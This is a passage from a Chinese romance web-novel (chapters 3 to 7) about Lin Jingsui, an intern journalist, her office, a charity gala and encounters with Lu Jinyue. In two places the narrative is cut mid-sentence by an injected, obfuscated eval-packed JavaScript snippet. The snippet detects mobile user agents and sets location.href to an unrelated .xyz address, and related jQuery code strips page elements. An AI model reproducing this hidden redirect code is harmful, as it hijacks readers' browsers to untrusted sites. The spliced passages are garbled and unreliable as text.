路今越强压下去微微翘起的嘴角,恍若无事地起身,淡淡地从喉间挤出一个哦字,“这种夸赞,我听得多了,没什么意思。” “那就好。” 林惊岁扯出一个假笑,然后转身收了银行卡离开,她虽然有钱,但也不是傻白甜。 钱该给的给,不该给的还是要拿回来。 临走之际,林惊岁掠过路今越,又停住,转身抬眼上下看他,又叹息又可怜道,“路今越。” “嗯?”路今越微怔。 “不要自甘堕落,实在不行,你跟着我混吧,我罩着你。” 一副大姐大的语气,林惊岁递出一张自己的名片,是她之前闲来无聊时跟在傅清寒身后设计的,“实在困难的话,我可以预支你工资。” 路今越垂眼,目光落在那张名片上,记录的甚至是……□□号。 他慵懒抱臂,顿时觉得眼前的姑娘正经得好玩又好笑,她是不是误会了什么,一个初步的猜测在脑海中成型。 “什么工作?” 林惊岁仔细思索了一下,“树洞。” 换个说法,路今越挑眉直言,“陪聊?” “也可以这么理解。”林惊岁食指轻轻划了下脸颊,有些尴尬。 “你倒是有钱。”路今越食指与中指夹过那张名片,自然地从她手中抽出收下。 林惊岁脱口而出,“我有自己攒的老公本,不怕?” “?” 4. 04 04 她言之凿凿地解释说:“我妈从小就告诉我,我的压岁钱她都帮我存着呢,当作以后找老公的老公本。” 老婆本,老公本,都大差不差嘛。 路今越再次被她震惊,末了默默地送上锐评,“能当你老公,实属是他三生有幸。” “那可不。” 林惊岁微微露出一点笑容,笑容却又一点点消散,“可惜,我妈看不到了。” 她的父母早就死在了那场车祸里。 路今越察觉到了什么,插科打诨道:“天色不早了。” 经他这么一提醒,林惊岁才意识到时间已经临近九点半了,再不回去,恐怕张姨要担心了。 于是林惊岁赶忙往外走,“我先走了,改天再聊!” 林惊岁背着书包迅速下了楼,前台几个时刻紧绷着的男生还在热火朝天地议论,301包间内发生了什么。 孟千帆大手一挥,打赌道,“英雄难过美人关!我赌五包辣条,最先跑出来的一定是——路今越——这个小人!” 话音未落,咻的一声,一道清秀纤细的身影迅速从他们眼皮子底下掠过,如惊鸿照影,迅速不见了踪迹。 老吴愣了下,纠结着开口,“老大,好像是那个妹子,她先跑出来了。” 孟千帆单手托腮,捂着嘴沉默。 “……” 老齐弱弱地问,“老大,五包辣条。” “辣你妹!” 孟千帆不敢相信,骂骂咧咧道,“路今越他妈的今天竟然沉浸在美人乡里了?我去他丫的!” 可惜这些话林惊岁都没有听到。 直至出了酒吧,她才发觉天边早已点缀上了星星点点的繁星。 深紫色的夜幕笼罩在头顶,把街道小巷都染上了几分神秘感,老式筒子楼里镶嵌了无序的泛黄灯光方块,与天边星星交相辉映。 晚风正好,林惊岁一步一步往前走,下一刻,不合时宜的机车嗡鸣声从身后响起。 几个混混模样的社会人士在她身边围涌,不时吹着口哨,眼神浪荡,调戏道,“妹妹,去哪儿玩儿啊?跟我们走呗,哥几个带你玩玩。” “不了。”林惊岁猛地摇头,后退了一下,打算绕开他们。 但奈何这几个混混看起来不正经,车技倒是一流,哪怕在如此拥挤狭窄的巷子里,也能前后移动自如。 看来是躲不开了,林惊岁轻叹一口气,停下脚步。 她左看看又瞧瞧,眼见几个混混就要冲过来,林惊岁连忙挥手打住,“等等,你们不就是想泡我吗?” 几个混混熄火停车,原本还想炫技几个土味情话调调情,但没料到这妹子说话如此直接,一时之间也不免得愣住。 “昂,既然你知道了,那哥几个也就不装了,嘿嘿嘿。” 其中的红毛老大最为得意,超经意地露出自己没什么肌肉的腹肌和肱二头肌,似乎在等她主动投怀送抱似的。 林惊岁浑身起了鸡皮疙瘩,扫了一圈几个人,最后视线定格在其中一个长得最尴尬且看起来文文弱弱的一个男生身上。 她抬手指着他,说,“那我选择陪他玩儿。” 那几个混混面面相觑,集中看向他们之中最不起眼的男生,不可置信,其中一个混混老大更是直接动手推搡了那个男生。 “欸!你干嘛?”林惊岁竟然还在为那个男生鸣不平,“你动什么手?” 红毛老大说,“妹子,你特么什么眼光啊,选这小子?” “不行啊?”林惊岁脱口而出,“他长得又帅又有魅力,不选他,难不成选你啊?” “……” 红毛老大只觉自己的尊严被大大地挑衅,瞬间恼羞成怒,把矛头直指向最末尾的瘦弱男生。 林惊岁默默地为那个男生道歉并感到悲哀,她有意将矛头指向他,也是为了自救。 毕竟他们是一伙儿的,顶多就是打个架,不会影响什么的。 趁着小混混陷入内斗时,林惊岁趁他们不注意,猛地把两辆摩托车踹倒,随后拔腿就跑,边跑边喊救命。 几人也意识到她要跑,哪里顾得上什么明争暗斗,一股脑儿地蜂拥而上,手里甚至还亮出了一些从摩托车上取下来的棍棒。 林惊岁只觉得心跳好似也不属于自己了,只剩下耳边闪过的疾风。 前方不远处的拐角处,林惊岁正在纠结究竟是往左还是往右时,一只有力的臂膊突然伸出,将她整个人揽了过来。 “唔——” “嘘!” 林惊岁蓦然抬眸,逆着澄黄路灯的少年人映入眼帘。 跳动不止的心脏也骤然静默了一瞬,林惊岁只觉得鼻尖泛酸。 她支支吾吾想要说快跑,但路今越却反手捂住她的唇,示意她安静。 “林惊岁,待会儿你沿着我身后的巷子躲起来,不要走动,我待会儿回来找你。” 路今越声线清澈安稳,莫名的让她呼吸平静。 她没说出话,可眼见路今越松开手转身离开时,林惊岁下意识扯住他的胳膊,没有开口,只有眼神示意。 路今越回看她一眼,皱眉道,“愣着干嘛,要挨打啊?” 提起来挨打,林惊岁噌的一下站直身体,松开手,连连摇头,说了句保重后转身就溜。 眼里行动里满满都是对自己那条小命的珍惜。 她可不傻,与其留下拖后腿,不如赶紧腾开场地。 路今越:“……” 两条小短腿,跑得倒挺快。 奔跑声越加靠近,路今越从巷子里随意捡了根木棍,活动了一下筋骨,打架而已,没什么难的,“男人,坚持住。” 只不过林惊岁并不清楚,一向在陵川一中无法无天的路大少爷,其实根本不会打架。 * 办公室内哀怨声阵阵,接连几个头条新闻冒出,娱乐圈似乎在某种力量的操控下,翻涌起一股无形的暗流。 芬姐一看到堆积如山的资料文件,头疼不已。 她偷摸地瞧了眼不远处的主编办公室,趁着李荣保正在与小庄谈话的功夫,往后一靠,轻声说,“欸岁岁,不是说你下午再过来吗?怎么一大早就来了?” “工作时间,还是要过来,”林惊岁特意切了个页面挡住热搜,然后喝了口手边的咖啡,压低声音说,“其实吧,我是故意在华尔街多住几天的。” “啊?”芬姐一愣,然后敬佩道,“你胆子真大,按老李的脾气,要是被他发现,你吃不了兜着走呢。” “不然回来和老李一起过夜啊?”林惊岁啧啧两声,不假思索道。 一提起来“和老李过夜”,芬姐就欲哭无泪,恨不得仰天大吼一声一吐为快。 但奈何老李此刻就距她不到三十米的距离,她一嗓子下去,恐怕就能和老李彻底saygoodbye了,一时分不清这是好消息还是坏消息。 芬姐叹气,“果然,和你们年轻人比不了脑子了,我应该退休。” 旁边的小杨也忍不住加入开小差的队伍中,“欸你们看昨天的热搜没?” “看了,然后呢?”芬姐气若游丝道,“无非就是一些真真假假的娱乐圈瓜,爱恨情仇,而且那个女明星和富二代的事情我都吃吐了。” 林惊岁没说什么,只是默默地操纵鼠标,切换页面到一篇新闻稿。 上面是前段时间在美国拍摄的内容,她打算趁着今天整完,然后抢先发表。 “不不不,”小杨一脸八卦的模样,津津有味道,“不是那一对儿,那一对儿不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15002711|161838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早就确认了真的?现在有个新瓜。” 听他这么语气激动,苏芬的八卦兴趣一时间也被勾起,她不由得往旁边挪了挪,靠近问,“又是谁?” “昨晚的那个娱乐圈新贵,你没扒到吗?不过那个新闻刚成为热搜,凌晨的时候就被人暗中撤了,甚至清理得干干净净,晚一点就保存不到了呢。” 昨晚凌晨? 林惊岁编辑文字的指尖微顿,注意力也分散了些,难道是那张外滩酒店的照片? 小杨继续说,“不过现在已经发不出去了,我怀疑有大佬暗中藏身份呢。” 苏芬说,“可不是,娱乐圈乱的不行,背后的大佬怎么可能轻易露面?现在所能见到的,不过是人家想让咱们看到的罢了。” 林惊岁迅速切换到了昨夜凌晨的网址,却发现那个网址早就丢失,根本看不到。 不过幸好,昨天稀里糊涂之下,她保存了那张照片。 八卦间,李荣保办公室忽的发出一声厉声批评,像是平地响起一道惊雷。 不得不令人敬佩李总每日一吼,嗓子挺好的,这声音一下子吸引了其他人的目光,紧接着就看到小庄哭哭啼啼地跑了出来。 小杨叹气说,“得,又辞退一个实习生。” 他老实了几分,生怕下一个就是自己。 “小庄干活挺老实挺麻利的,除了老李头挑三拣四,各种挑事。” 芬姐也为小庄鸣不平,人家虽然能力差了一点,但也不至于这么大吼吧,万一给人小姑娘留下了心理阴影怎么办。 “小庄和我住一个小区,”林惊岁看了眼在工位上红着眼整理东西的小庄,说,“她一直很认真,为什么要在这个节点辞退她?” 毕竟在公司待了几个月,她对公司有些事情还是陌生了些,但小庄是和她一起进公司做实习生的,自然和她关系不错。 苏芬说,“还不是那个对温大明星的采访,娱乐记者谁不知道她的脾气?这不,今天小庄负责的采访她,结果人家不仅无视,还各种挑刺,最后小庄被赶了出来,新闻头条又被别家抢先,老李自然觉得丢脸,这不,一怒之下辞了小庄呗。” 这种事在新闻界也不算什么大事。 只不过小庄初入社会,经验不足,抗压能力又差,业绩向来不好,这才被老李找借口炒了鱿鱼。 “屁事真多。”苏芬吐槽。 小杨也附和:“小庄之后的工作恐怕又要我和小林分担,李老头屁事真多!” 两人感慨之间,一道含着笑意的男声幽幽地从背后传出,“谁屁事多啊?” 苏芬与小杨猛地吓了一大跳,刚一回头就对上了李荣保笑眯眯的视线,顿时心下一惊,暗自感慨:哦豁,凉了。 “兴致不错嘛,挺精神的,那今晚加班吧。”李荣保皮笑肉不笑地说出来。 气得芬姐下意识要骂出来,昨天加班加到吐,今晚还要加班,牛马也不能这么压榨啊? 小杨本就是新人,不敢对刚,只好默默缩回脑袋,认下了这个惩罚。 李荣保望着办公的众人,清嗓朗声,一本正经地说道,“年轻人,就是要多干,觉得累的话,你们去看看凌晨四点的菜市场和医院急诊室,有的是比你们努力的人。” “好好干,以后就给你们升职加薪!” 熟悉的洗脑话术,苏芬翻了个白眼,只好默默在心中多吐槽了几遍自己这位大腹便便的顶头上司,然后咽下这口气。 反正总会被找到把柄加班。 “老板说得好!”林惊岁附和着鼓了下掌。 李荣保欣慰地笑了笑,视线一扫,瞥见了为他竖大拇指的林惊岁,“看嘛,多向小林学学,拿着实习生的工资,任劳任怨的牛……人(马),多励志!” “……” 5. 05 05 其他几个同事还在疑惑,难不成是林惊岁加班把脑子加坏了,竟然帮老李头说话? 下一刻,只见林惊岁脱口而出,“老板比我们努力,见过凌晨四点的菜市场和医院急诊室,不像我们,只见过凌晨四点的床,怪不得李总是主编!” “我相信能者多劳,李总能,我不能。” 林惊岁说完,打了个哈欠,“李总,我工资就那么点,实在加不了班。” 李荣保搬出了他的口头禅之一,“你难道不怕我让你转不了正?” 就拿这一件事唠叨,林惊岁嘴角微抽,面带微笑说,“我怕您找不到像我这样任劳任怨的牛马。” 一句话轻松地噎住李荣保想要说的其他话,她特意咬重了“任劳任怨”四个字,一时间搞得李荣保有些尴尬,无话可说。 众人不禁缩回自己的岗位偷笑,打心底佩服林惊岁。 “哦对了,李总,我下午还有一场社会新闻的报导,就不多说了,我先去准备了。” 说完,林惊岁微笑着整理东西,然后带着搭档小杨往外走。 * 一路上,小杨看她的眼神就像是在看一个鼎鼎有名的大佬似的,盯着林惊岁有些不自在。 “岁姐,你能在一众人里面杀出来,被Luna选中去美国,好厉害啊,真羡慕你。” 虽然事实上杨和的年纪要比林惊岁大,但此刻他却是打心底里想叫她一声岁姐。 杨和丝毫不吝啬他对林惊岁的佩服,毕竟这种机会就相当于一个初中的小屁孩被学科领域的教授看中,然后破格录入少年班深入研究,远远超出同龄人。 毕竟当初选拔面试,可是Luna主编身边的助手亲自筛选负责,最后汇总到Luna主编手中亲自挑选的结果。 也就是说,林惊岁在与其他更加资深的记者同行中脱颖而出,完全是Luna的决定,任何人没法干预。 “不用羡慕,”林惊岁顿了下,然后侧头看他一眼,微笑道,“其实我是托关系拿到的机会。” “……啊、啊?” 杨和似乎没料到林惊岁会这么说,一时间语塞。 望着小杨尴尬的神情,林惊岁噗嗤一声,笑说,“托菩萨的关系。” 杨和这才松了口气,没办法,林惊岁偶尔就是喜欢捉弄他,但他偏偏每次都会上当,“我去,岁姐,你是真牛皮啊。” 林惊岁平静中透着几分狡黠,“不是我牛。” “那是什么?” “因为我打算被辞退后,把工作全都丢给你。” “……” “姐,求你了,你别走,真的。” 杨和欲哭无泪,一副生无可恋的模样,举着摄像机跟在她后面,嘴里还嚷嚷着,“姐,我不能没有你,就像西方不能没有耶路撒冷!” 林惊岁要是被辞退了,她之前负责的另外两个实习生的工作和自身的任务会一股脑全抛给小杨。 而她的任务总量可比杨和现在的任务量高出一倍。 不敢想象,林惊岁要是真的走了,他自己宁愿辞职去农田当真的牛马。 下了出租,林惊岁整理了一下发顶的白色鸭舌帽,拎着包往约好的采访工作室赶。 身后的小杨扛着他的相机紧跟着,说起待会儿采访的对象,他不免有些汗颜。 因为小庄被拒之门外,所以老李头竟然把这项任务直接丢给了他和林惊岁。 拜托,实习生的命也是命好吧。 当然,除了林惊岁,因为有事她是真敢上。 果不其然,两人在办公室等了半个小时,也没见那位著名的大明星,反倒是围堵的粉丝渐渐包围整个场馆。 眼见场馆内人越来越拥挤,杨和一边焦急地盯着手表看时间,一边悄悄吐槽某人耍大牌。 然后默默把这份不幸归结于自己的运气,毕竟人家的确有耍大牌的资本。 林惊岁也没浪费时间,超过约定的时间半个小时后,她直接拨了通电话到主编办公室,无人接听。 场馆负责人只是单纯地要求他们继续等待。 杨和争论不过他们,悻悻然擦了把汗,转身问:“岁姐,怎么办?今天要是没采访到内容,主编会把咱俩都炒了的吧。” 片刻后,林惊岁轻叹口气,说,“杨和,你去联系主办方,要他给我们一个解释。如果他想糊弄过去,就拿我们之前签过的合同说,想放我们鸽子,也要看他敢不敢和我们硬刚。” “好。”说完,杨和出了门,让服务员带他找人。 另一边,林惊岁直接拨通了一个电话,没有任何备注,她眼眸清亮,还有几分兴奋。 电话接通的一瞬间,林惊岁直奔主题,语气轻快,充斥着一股胜利者的喜悦,“傅清寒,今天下午有一场华谊采访活动,你能来吗?” 对面沉默许久,却传来了一道柔而不娇的女声,音色清晰,只是一瞬间林惊岁便认出了它的主人。 是温禾。 长相妖艳极具魅力的大美女,也是娱乐圈冉冉新星。 在她面前,饶是林惊岁也不禁会生出几分感慨,有些人,天生就是视觉焦点。 “林惊岁?” 有那么一刻,林惊岁听不清自己的心跳,只觉一片混乱,微微张开的嘴久久没有吐字。 顿时像是泄了气的皮球,刚刚的话噎在喉间,取而代之的是难以言说的酸涩,渐渐在心头蔓延开来。 她调整了一下呼吸,换了平静的语气,应答道,“温禾。” “清寒在开会,这段时间他很忙,你向来知道的。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15002712|161838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 温禾漫不经心地回答,背景声中隐约听见男经理询问她是否喝茶,看来没参加采访的温小姐,正与傅总幽会。 不需要她多说,因为的确,林惊岁最清楚的,傅清寒很忙。 但他的手机却是最不容许别人触碰的,里面有许多商业机密,一般来说都会随身携带。 而此刻,温禾正安坐在傅清寒的办公室里,拿着他的手机,接听自己的电话。 温禾淡声问:“听说你找了家实习公司?清寒帮你安排的工作你没去?难道不比实习生好吗?” “我喜欢自找苦吃。”林惊岁的答案永远离经叛道,似乎打定了注意不去走他安排的道路。 对面的女人冷笑一声,“你还真是和以前一样,形容得真贴切,这些年我不在国内,也不知道你这个妹妹当得称不称职。” 她咬重“妹妹”两个字,又胸有成竹地笑说,“有些人,享受着她的身份待遇,却总是藏着些龌龊的小心思,越界上位,林惊岁,你知道这种人有多恶心么?” “是吗?” 林惊岁笑容凝住,她清楚温禾话中的意思,妹妹喜欢兄长,即便没有血缘关系,也怪难以启齿的。 “不过你也不用担心,等我哪天不想努力了,”林惊岁笑着补充,“一定做好寄生虫妹妹,死皮赖脸地留在傅氏集团。” 温禾:“……” 口皮功夫暂占上风,可林惊岁弯起的快要僵硬的嘴角渐渐垂下。 她说不清当时的心情,也记不清自己之后又说了些什么,只是匆匆挂断电话后一片凌乱,生怕下一秒就会闷住。 记忆里,她曾偶然猜对了傅清寒的手机密码点了进去,彼时傅清寒似乎是太忙而忘记了拿手机。 但还没等她看到些什么内容,就被赶回来的傅清寒呵斥打断。 那也是傅清寒第一次对她大发雷霆,似乎她成了盗取机密的卧底罪人似的。 可偏偏,有人可以轻而易举且理所当然地享受她曾企及的一切,自己倒像是个跳梁小丑,甚至连委屈的资格都没有。 但现在,林惊岁才明白,有些人即便陪伴再久,也敌不过她人的一颦一笑。 挂断电话后,林惊岁拍了拍沉闷的心口,又揉了揉太阳穴,强打起精神。 本来计划着先去采访傅清寒,来个偷梁换柱,堵住老李咄咄逼人的嘴,但现在看来,都不可能了。 正当林惊岁纠结着被罚后跳槽哪家公司时,刚刚离开的杨和匆忙跑了回来,一把推开门,激动道,“我去,岁姐,有一个比温禾还重量级的大佬据说要来慈善会,头条可比温禾有价值多了!” “谁啊?” “好像是前段时间在外网特别有名的神秘慈善家,有钱有势,据说还是个大帅哥!” 林惊岁:“……” 6. 06 06 鹿宜市慈善晚宴由娱乐圈名贵自发举办,不少新星或是新贵都会选择借助慈善捐助的方式,给自己树立一个心善积极的正能量人设。 不仅可以扩大路人缘和粉丝粘性,也能借机与新贵或者大佬结交。 其中傅氏是今年的主要负责主办方,所以林惊岁才会想要联系傅清寒,通过采访他来代替之前的任务。 毕竟她清楚,温禾是不会让她去采访的。 说白了,这不仅是一场慈善会,更是少有的名利场,放长线方能钓大鱼。 林惊岁跟在傅清寒身边时间不短,自然清楚这其中的奥秘。 再者说,身为记者,走来访去,也自然知晓一些娱乐圈的内幕。 晚宴人来人往,林惊岁随意地绑了个低马尾,戴着白色帽子隐匿在人群中,然后沿着记忆里的模样摸到了后门的vip通道。 vip通道外也拥挤了不少蹲守的记者同行,或是不远千里赶来的粉丝群体。 进入酒店中心区后,林惊岁抬眸四处瞥了一眼,视线凝到了二楼扶梯身形挺拔的西装男人,以及依偎在他怀里的红裙女人。 两人站在二楼的旋梯口,似乎在低头咬耳语,亲密无间。 俊男靓女在接吻,其他圈内人也只是私下感慨,碍于傅氏权力不敢过多插话。 而林惊岁的眸光却从他的脸颊移到那道伤疤上,久久没有移开,原来年少的承诺是最不值一提的纸飞机,淋不得一点雨。 或许是她注视的目光太过热烈,下一刻,男人似乎有所感应似的,侧目扫向她所在的方向,隔着人群与她对视一眼。 刹那间,林惊岁眼眸像是被针刺到似的,猛地挪开了目光,若无其事地端了杯红酒,压低帽檐移到角落。 颇像是拍了绯闻照当场被抓包的狗仔,不知所措。 与此同时,杨和也发来了短信。 主办方无意间透漏出来的神秘慈善家并未在vip通道出现,不知道是不是临时反悔,不想露面了。 也不是不可能,毕竟像这种实力的人,一般都是年纪稍大一些的老董事,不想露面传出爆料也合常理。 但杨和可不管他到底怎么样,原本就指望这位大佬的出现能拯救一下他的职业生涯。 更何况,他和林惊岁不一样,如果找不到合适的采访内容和拍摄内容,恐怕以他的能力就真的要被炒鱿鱼了。 「杨和:岁姐,你可一定要帮帮我啊,求你了,再拍不到东西,老李会吃了我的。」 今天本就是他求林惊岁帮他完成一下任务,如果出错,他也别想在公司待下去了。 眼下走投无路的杨和只好继续求林惊岁,毕竟以往采访工作,遇到任何难题,只要林惊岁在,似乎总能找出合适的解决办法。 所以配合这么多次,早在不知不觉间,杨和就对这位年纪比自己小且同为实习生的林惊岁产生了依赖。 以至于到了现在,杨和觉得,林惊岁肯定还有办法,只是不肯帮他罢了。 但他并不清楚林惊岁与温禾之间的过往。 「杨和:姐,公司实习生就剩下咱俩了,要是最后只剩下你一个人,该多孤独啊,所以你救救我吧。」 林惊岁看着手机屏幕上的聊天内容,微微蹙了下眉,心里对他的想法明镜似的。 但她并未点明,考虑再三,职业素养的要求,她此刻更想寻找一个新的新闻素材。 正在观察之际,宴会忽的躁动了片刻,林惊岁下意识往旁边看去,只见簇拥着的密集人员中包裹着一个小孩儿,大约八九岁的模样,年纪不大。 但只要扫一眼他的穿搭,便能知道,小屁孩浑身上下加起来的价值,足够在市中心买下一套房了。 不知是谁在说,“路家小少爷过来了!” 一时间,记者与攀附者蜂拥而上,把道路围堵得水泄不通。 路家? 林惊岁微微一震,路氏集团于她而言太过神秘,却又太过抵触。 客观来讲,他们应该是林惊岁巴结的联姻对象,傅清寒有意要同路氏合作,只不过由于资金链问题,对方迟迟没有答应。 以路氏的势力,怎么今天选择来这个傅清寒主办的慈善晚会? 难不成是有意和傅氏集团合作? 那前不久传出来的那张照片上的神秘人物,会不会路家的继承人? 林惊岁故作不经意地看了眼二楼旋梯口,原本站在那里的人早已不见。 而温禾此刻正笑眯眯地同其他新闻记者畅聊,有意无意地瞥来挑衅的视线。 众人未注意的是,在大多数目光被张扬傲娇的路小少爷吸引的同时,另一侧,在林惊岁的余光中一闪而过一位挺拔俊朗的男人。 看不清面容,只瞥到了男人白皙流畅的下颌线,穿搭随意普通,却能凸显出他瘦高的身姿,好似只是一个匆匆走过的男高模特,背影格外熟悉。 但林惊岁并不打算同其他人一样采访这位小少爷。 比起这个,她心中早已经想好了新的课题内容,远比明星访谈更有意义。 思索间,林惊岁已经走到了角落,拨通了杨和的电话,沉声且自信地交代道:“喂,小杨,听我说,趁这个间隙,你赶紧去找晚宴负责人,然后联系宴会上所有的社会人士,我们剑走偏锋,给所有被忽视的社会慈善人士来一场专访!” 眼下,所有的明星豪门世家早已被各大媒体记者围堵,他们追求的是谁先谁快。 但林惊岁总喜欢反着干,能约到名人自然不错,但若是有人故意和她作对,那就是她放弃了那条新闻。 杨和也有迟疑,明眼人都能看出来真正有流量的内容是哪些,现在如果赶得及,顶多比那些记者晚些而已。 可毕竟是他有求于林惊岁,再三犹豫,也还是按照她说的做。 交代完事情后,林惊岁也戴着工作牌,往会议室的方向赶去。 慈善晚会她也来过几次,在大学没毕业以前,林惊岁就曾在校内记者团工作,有好几次同这里的工作人员打过交道,自然比较熟悉些。 尤其是张副总,林惊岁在校记者团期间主动提出前往贫困地区实地采访,当时邀请的负责人就是华谊酒店的张副总。 他身上有种老干部气质,对她也是格外欣赏,并亲自颁发了独属于林惊岁的荣誉证书。 眼下,这位张副总张宗明正在办公室内,与一位“老熟人”相谈甚欢。 “今越呐,你家老爷子身体怎么样啊?我这儿囤了些老茶叶,是他喜欢的,有机会我托人给他送去。” 张宗明放下茶杯,笑呵呵道。 坐在沙发上的男人尚未褪去少年时期的傲气,但明显多了几分成熟的气质,谈吐间尽显矜贵。 他慢条斯理地泡着手中的茶,如果有学过茶艺的人一眼便能瞧出,他的手法很是娴熟。 “他好着呢,倒是您,这些年旧伤复发,老爷子特意嘱托我把国外认识的几个医学朋友带回来,为您检查呢。” 路今越声音清朗如山风,说话干净分明,丝毫没有豪门子弟间的高傲冷淡。 张宗明显然对他很是欣赏,嘴角的笑容丝毫没有放下过。 但他其实有时候也不太理解,以路今越的家世与自身的实力,想要结交的人怎么都不该是自己。 以这孩子的心性,也许是因为他对慈善新闻这方面感兴趣,所以才与他交流比较多。 无论怎么样,张宗明也很乐意,毕竟他惜才,如果这位路大少爷真的想去当记者,也不是不可以。 而且,路今越在国外的时候,就常以代称“Lstar”捐款,如今也是声名远扬,只不过很少有人知道他的身份。 这些钱也都是眼前的年轻男人自己凭本事赚来的,在豪门中,路今越这孩子也算是个“另类”了吧。 “欸,温文那孩子呢?不是也来了?” 张宗明没瞧见最淘气的那个,自然有些疑惑,电话里说了,两人是一起来的。 提起来路温文,路今越先是嗤笑了一声,然后半开玩笑的语气说:“去吸引火力了。” 嗯,人肉沙包。 此刻的路温文小朋友戴着黑色墨镜,一副又拽又酷的姿势面对数十个摄像头。 当然,这点拽酷气质同他那个坑弟货老哥比,算不了什么。 十几个保镖们拼了命地护着自家小少爷,而中间的路温文只是在心里默念:路今越,你丫的今晚睡觉最好睁着眼睛! 拿亲弟转移火力?! 张宗明尴尬地笑了笑,毕竟论起淘气,小时候的路今越才是真的孩子王,高中又是个吊儿郎当的形象,用路夫人的原话说就是:大号废了,练小号吧。 后来好不容易被送到国外读书,如今回国,倒是成熟不少,还是闷声干大事,令张宗明挺刮目相看。 张宗明又说回正题,问:“你们和傅氏集团的合作商量的怎么样了?” 还未等他回答,门外忽的响起了一阵敲门声。 张宗明问:“谁啊?” “张叔叔,打扰了,是我,林惊岁,想找您聊一下今晚的慈善人物专访的事情。” 声线朗润澄澈,恍若一弯流淌在山涧的潺潺溪水,途径办公室的每一寸角落,清晰明确。 沙发上的男人保持安静,始终没有说话,似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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论辈分,张宗明算得上是林惊岁的同校学长,虽说隔得有些远,但张宗明在鹿宜大学的成就很高。 当初就是作为优秀毕业生回校,这才让惊岁有机会同他这样级别的人物合作。 两人讨论期间,路今越就静静地坐在书架后,手中拿了一本书,目不转睛地看书。 而在张宗明看来,那孩子恐怕正在偷偷学习他们的工作内容呢。 讲完后,林惊岁兴致勃勃地询问,“张叔叔,你觉得怎么样?” “可以啊。”张宗明对她的想法向来持肯定态度,并非鼓励。 而是因为,这些想法虽然险,但如果成功,不仅可以带来高收入,更能传播社会正能量,这与他的观念不谋而合,像是遇到了知己。 他的疲惫一扫而空,不禁多说了一些,也提出了一些整改意见。 林惊岁眼眸清亮,虚心夸赞道,“不愧是张叔叔,还是比我厉害!” 两人又说了几句,她突然问,“哦对了,张叔叔知道最近很有名的“Lstar”……大爷吗?” “咳咳——” 正在交流的两人不约而同地望向书架后,某位喝水呛到的男人。 张宗明似乎也明白了原因,打岔笑道:“你怎么知道他是大爷?” “我同事这么跟我说的,”林惊岁说,“不过有钱且这么豪横慷慨的,都算是大爷吧。” 有钱任性,且主动做慈善,配得上她这么一声发自肺腑的大爷称呼。 这个解释的确幽默,若是换作他吊儿郎当的高中时期,的确担得上一句大爷。 张宗明笑着说,“我当然知道,但是嘛——” 望着林惊岁好奇的目光,张宗明还是摆摆手,保持神秘道,“但这位大爷想要保持神秘感,我不能说。” “嗯,”林惊岁并不失望,这种事情她也不会深究,只是好奇而已,“我明白。” 聊天结束后,林惊岁打算去找杨和会合,然后完成剩下的任务,回去后准备迎接美好的周末。 临走之际,她又折返回来,对张宗明讲了句悄悄话。 办公室门合上,路今越也懒懒地站起身,简单活动了一下身体,侧头却发现,张宗明看向自己的眼神有些奇怪。 “张叔?” “今越呐。”张宗明面露尴尬地望着他。 路今越有些愣:“怎么了?” “你……有心事?” “没有啊。” “那你,书怎么都拿反了?” 路今越低头扫了眼自己手上的书,只见封面的书名《平凡的世界》五个字是倒过来的,而自己似乎丝毫没有注意到自己把书拿反了的事情。 “……” 空气一时间有些凝滞,张宗明笑着岔开这个尴尬的话题,说,“是刚才的那个孩子提醒我的,我年纪大了,眼睛花,都没注意,还是年轻人视力好呐。” 路今越:“嗯……” 7. 07 07 “岁岁,你上热搜了!” 彼时的林惊岁刚喝完泡好的咖啡,困得不行,而苏芬一嗓子就把她从迷离中猛地拽了回来。 “什么?” 她刚整理完最后一批人物专访的资料,琢磨着什么时候摸鱼补个觉,但现在却是清醒了几分。 苏芬像是中了彩票似的接连晃起她的肩膀,试图把她摇醒,指着电脑屏幕说:“你的新闻词条上热搜了!真的,你快看!#走进十位平凡伟大的慈善家不为人知的故事/林惊岁主编#,上升为时事热点啦!” 一时间,不少同事全都围了过来,或是感慨,或是道喜,有人也嚷嚷着老板请客放假。 芬姐最看不惯耍大牌的明星,当即就说,“就那个谁还故意放我们鸽子,这下把她的热搜头条都拿走,气死她,哼哼。” “就是就是。” 提起来温大明星,杨和就来气,人家可以任意耍大牌,也有人兜着,连累的倒是他们这些谋生的工作人员,搁谁谁不生气啊? “就这还有好多无脑粉丝维护,真不知道自家正主什么人呐?” 林惊岁没有参与其中,毕竟最开始的确是温禾故意给她找事,她也只是用自己的办法赢回来而已,活受气可不是她的风格。 在明星八卦娱乐竞出的新闻内容中,时代新刊的平凡慈善栏目单独成为新秀,采访的慈善人士皆有不同的身份背景,经历也各有坎坷。 耗时一天一夜的时间,两人才终于完成个人采访,并把这些内容整理出来。 对于绝大多数喜欢读报纸的人来说,与民生息息相关的百态人生故事或许更有吸引力。 其中,作为主笔负责人的林惊岁一反常态,选择用当下潮流的幽默标题形式来引入,既吸引了百姓的关注与兴趣,同时也不会与内容有太多偏差。 而这一文稿也一度碾压傅清寒与温禾的绯闻头条,占据热搜榜,传播社会眼下正津津乐道的优秀人物事迹。 